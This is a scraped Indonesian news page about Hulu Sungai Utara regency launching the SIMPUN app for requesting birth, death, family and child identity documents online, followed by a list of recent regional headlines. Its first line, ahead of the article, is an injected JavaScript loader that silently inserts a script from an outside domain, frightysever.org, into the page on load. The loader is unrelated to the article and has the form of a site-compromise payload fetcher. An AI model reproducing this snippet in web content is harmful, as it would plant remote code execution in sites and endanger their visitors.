(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Aplikasi SIMPUN Pemkab HSU Permudah Urus Dokumen Kependudukan


AMUNTAI, Kemudahan bagi masyarakat dalam pembuatan dokumen kependudukan merupakan salah satu tujuan pelayanan Pemerintah Kabupaten HSU. Untuk itu, melalui Dinas Komunikasi dan Informatika meluncurkan Aplikasi SIMPUN (Sistem Informasi Manajemen Kependudukan).

Program Aplikasi SIMPUN merupakan upaya Pemerintah Kabupaten HSU dalam mendukung program nasional bidang kependudukan, adanya program Aplikasi tersebut diharapkan dapat meningkatkan partisipasi masyarakat agar melengkapi dan memiliki dokumen kependudukan berdasarkan ketentuan yang berlaku.

Launching Aplikasi Simpun bertepatan dengan peluncuran Portal HSU, program Aplikasi SIMPUN terlaksana berkat kerjasama dengan Dinas Kependudukan dan Pencatatan Sipil (Disdukcatpil) Kabupaten HSU.

Kadis Kominfo HSU H. Adi Lesmana mengatakan, kehadiran aplikasi SIMPUN dapat menjadi solusi terbaik bagi masyarakat yang ingin membuat dokumen kependudukan, namun terkendala dengan jarak yang jauh dari Kantor Disdukcatpil HSU atau tidak mempunyai waktu disebabkan kesibukannya.

“Dengan adanya Aplikasi SIMPUN ini, masyarakat tidak hanya mendapatkan kemudahan dalam pengurusan dokumen kependudukan, akan tetapi masyarakat juga akan mendapatkan efesiensi dari pengurusan dokumen kependudukan tersebut,” jelasnya.

Lebih jauh Adi Lesmana menjelaskan, dokumen kependudukan dan pencatatan Sipil yang dapat dibuat melalui aplikasi SIMPUN antara lain Akta Kelahiran, Akta Kematian, Kartu Keluarga dan Kartu Identitas Anak (KIA).

Adi menambahkan melalui aplikasi ini masyarakat dapat mengajukan permohonan pembuatan dokumen kependudukan dan pencatatan sipil hanya dengan mengisi formulir yang disediakan, serta mengunggah persyaratan yang diperlukan, selanjutnya, pihak Disdukcatpil akan segera memprosesnya untuk menerbitkan dokumen Kependudukan berdasarkan permohonan masyarakat. Setelah dokumen kependudukan selesai diproses selanjutnya akan diantar/dikirim melalui PT Pos ke alamat masing-masing secara gratis. (Diskominfi/Humas)

Reporter : Diskominfo/humas
Editor : Chell

Desy Arfianty

Recent Posts

Diskusi Santai “Komunitas Gembel Banjarmasin” Bahas Kesejahteraan Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More

10 menit ago

Penyediaan Rumah ASN dan Tenaga Kontrak, Pemkab Kapuas Gandeng Pengembang Perumahan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More

53 menit ago

Status Internasional Dicabut, Bandara Syamsudin Noor Tetap Jadi Embarkasi Haji

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More

3 jam ago

Syarat Calon Non Partai Pilkada Banjarmasin Wajib Miliki 41 Ribu KTP Dukungan

KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More

4 jam ago

MUI Banjar Berikan Pembekalan kepada Jemaah Calon Haji Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More

5 jam ago

Pj Bupati HSU Pimpin Peringatan Hardiknas 2024

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) menggelar peringatan Hari Pendidikan Nasional (Hardiknas)… Read More

5 jam ago

This website uses cookies.